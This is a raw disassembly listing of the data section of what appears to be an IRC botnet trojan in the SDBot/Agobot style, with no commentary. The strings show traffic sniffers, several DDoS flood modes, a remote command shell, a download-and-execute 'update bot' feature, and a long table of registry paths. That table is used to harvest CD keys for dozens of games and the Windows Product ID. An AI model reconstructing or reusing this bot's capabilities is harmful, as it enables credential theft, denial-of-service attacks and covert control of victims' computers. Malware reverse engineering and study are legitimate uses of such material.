		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_435A34	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A68	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A9C	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AD0	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_435B00	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B54	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D7C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43616C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436180	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 4
dword_4361B8	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_4361CC	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361E0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361FC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 4
		dd 80000001h
off_43622C	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436238	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 4373BCh, 4373B0h,	4373A0h, 2 dup(0)
		dd 80000001h, 437380h, 43737Ch,	437368h, 2 dup(0)
		dd 80000001h, 437344h, 43737Ch,	437338h, 2 dup(0)
		dd 80000001h, 437314h, 43730Ch,	4372F8h, 2 dup(0)
		dd 80000001h, 4372E4h, 4372D4h,	4372B8h, 2 dup(0)
		dd 80000001h, 437274h, 4373FCh,	437260h, 2 dup(0)
		dd 80000002h, 437234h, 437228h,	437208h, 2 dup(0)
		dd 80000002h, 4371D4h, 4373FCh,	4371BCh, 2 dup(0)
		dd 80000002h, 437188h, 4373FCh,	437170h, 2 dup(0)
		dd 80000002h, 437158h, 4373FCh,	437140h, 2 dup(0)
		dd 80000002h, 437104h, 43D158h,	4370F4h, 2 dup(0)
		dd 80000002h, 4370BCh, 43D158h,	4370A8h, 2 dup(0)
		dd 80000002h, 43705Ch, 43D158h,	43703Ch, 2 dup(0)
		dd 80000002h, 436FECh, 43D158h,	436FC0h, 2 dup(0)
		dd 80000002h, 436F84h, 43D158h,	436F70h, 2 dup(0)
		dd 80000002h, 436F38h, 43D158h,	436F28h, 2 dup(0)
		dd 80000002h, 436ED8h, 43D158h,	436EACh, 2 dup(0)
		dd 80000002h, 436E6Ch, 43D158h,	436E50h, 2 dup(0)
		dd 80000002h, 436E20h, 43D158h,	436E00h, 2 dup(0)
		dd 80000002h, 436DC4h, 43D158h,	436DB0h, 2 dup(0)
		dd 80000002h, 436D68h, 43D158h,	436D48h, 2 dup(0)
		dd 80000002h, 436CF4h, 43D158h,	436CC4h, 2 dup(0)
		dd 80000002h, 436C74h, 43D158h,	436C48h, 2 dup(0)
		dd 80000002h, 436C08h, 436C00h,	436BE0h, 2 dup(0)
		dd 80000002h, 436B9Ch, 43D158h,	436B80h, 2 dup(0)
		dd 80000002h, 436B34h, 43D158h,	436B10h, 2 dup(0)
		dd 80000002h, 436ADCh, 43D158h,	436AD0h, 2 dup(0)
		dd 80000002h, 436A9Ch, 43D158h,	436A90h, 2 dup(0)
		dd 80000002h, 436A5Ch, 43D158h,	436A50h, 2 dup(0)
		dd 80000002h, 436A1Ch, 43D158h,	436A10h, 2 dup(0)
		dd 80000002h, 4369D4h, 43D158h,	4369C0h, 2 dup(0)
		dd 80000002h, 436984h, 43D158h,	436970h, 2 dup(0)
		dd 80000002h, 436940h, 4373FCh,	436924h, 2 dup(0)
		dd 80000002h, 436904h, 4368FCh,	4368D8h, 2 dup(0)
		dd 80000002h, 4368BCh, 4368FCh,	43689Ch, 2 dup(0)
		dd 80000002h, 43687Ch, 4368FCh,	436858h, 2 dup(0)
		dd 80000002h, 436840h, 4368FCh,	43683Ch, 2 dup(0)
		dd 80000002h, 436820h, 436810h,	436808h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_4367D4[eax], al
		push	eax
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aHiddenDangerou ; "Hidden & Dangerous	2"
		dd 2 dup(0)
		dd 80000002h, 436780h, 436774h,	43674Ch, 43673Ch, 436728h
		dd 80000002h, 436704h, 4366F8h,	4366E4h, 4366D4h, 4366CCh
		dd 80000002h, 436704h, 4366F8h,	4366A0h, 4366D4h, 436698h
		dd 80000002h, 436704h, 4366F8h,	436668h, 4366D4h, 436660h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365DCo
		align 4
byte_4367D4	db 53h			; DATA XREF: ___:004365D2w
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436234o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00436230o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_43622Co
		align 4
asc_43742C:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437430	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_4374AC	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_4374D0	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374E8	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437514	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437538	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437550	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437568	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437588	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4375AC	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_4375D0	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375FC	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43761C	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_43764C	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43767C	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4376A8	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376DC	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437720	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_43773C	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437774	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43779C	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_4377C8	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_4377F0	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437818	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 4
off_437868	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_43786C	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 10h
unk_437880	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4378BC	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437968	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
